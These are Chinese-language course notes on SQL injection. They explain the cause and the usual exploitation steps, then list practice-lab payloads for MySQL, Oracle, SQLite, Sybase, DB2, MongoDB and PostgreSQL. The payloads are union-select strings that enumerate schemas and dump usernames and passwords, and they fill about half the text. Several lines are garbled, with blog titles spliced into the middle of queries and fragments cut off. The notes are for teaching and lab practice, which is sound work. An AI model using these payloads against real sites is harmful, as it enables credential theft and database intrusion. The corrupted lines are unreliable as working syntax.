#知識點:(本節課了解即可)
1、Web攻防-SQL注入-產生原理&應用因素
2、Web攻防-SQL注入-各類數據庫類型利用
一、數據庫知識:
1、數據庫名,表名,列名,數據
2、自帶數據庫,數據庫用戶及權限
3、數據庫敏感函數,默認端口及應用? ? ? ? ? ? ? ? ? ? ? ? ?
4、數據庫查詢方法(增加刪除修改更新)
二、SQL注入產生原理:
代碼中執行的SQL語句存在可控變量導致
三、影響SQL注入的主要因素:
1、數據庫類型(權限操作)
2、數據操作方法(增刪改查)
3、參數數據類型(符號干擾)
4、參數數據格式(加密編碼等)
5、提交數據方式(數據包部分)
6、有無數據處理(無回顯邏輯等)->可以從“延時注入”的角度測試
四、常見SQL注入的利用過程:
1、判斷數據庫類型->不同的數據庫類型,有不同的sql測試語句
2、判斷參數類型及格式
3、判斷數據格式及提交
4、判斷數據回顯及防護
5、獲取數據庫名,表名,列名
6、獲取對應數據及嘗試其他利用
五、黑盒/白盒如何發現SQL注入
1、盲對所有參數進行測試
2、整合功能點腦補進行測試
白盒參考后期代碼審計課程
六、利用過程:
獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)
七、靶場實戰:
Acunetix Web Vulnerability Scanner - Test websites
https://mozhe.cn/Special/SQL_Injection
①Access:已經基本淘汰 意義不大
②Mssql
http://vulnweb.com/
③Mysql
https://blog.csdn.net/weixin_57524749/article/details/140618103
id=-1 union select 1,database(),3,4
idSQL手工注入漏洞測試(Oracle數據庫)——墨者學院-CSDN博客ation_schema.tables where table_schema='mozhe_Discuz_StormGroup'
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member
④Oracle
https://blog.csdn.net/A2893992091/article/details/141365829
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whe06#墨者靶場-SQL手工注入漏洞測試(SQLite數據庫)-CSDN博客
1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')
⑤SQLite
06#墨者靶場-SQL手工注入漏洞測試(SQLite數據庫)-CSDN博客
union select 1,name,sql,4 from sqlite_master limit 0,1
union select 1,name,password,4 from WSTMart_reg
⑥Sybase
id=-1 union all select null,db_name(),null,null
id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login')
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and name<>'id'
id=-1 union all select null,name,null,SQL手工注入漏洞測試(MongoDB數據庫)-CSDN博客
word,null,null from Deepthroat_loPostGREsql手工注入攻略_pgsql注入-CSDN博客
4274099
id=-1 union select 1,2,3,4 from syscat.tables
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1
⑦mongodb
SQL手工注入漏洞測試(MongoDB數據庫)-CSDN博客
id=1'});return ({title:'1',content:'2
'});return ({content:tojson(db.getCollectionNames()),title:'1
'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'
PostgreSQL
https://blog.csdn.net/2401_88387979/article/details/144275425
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users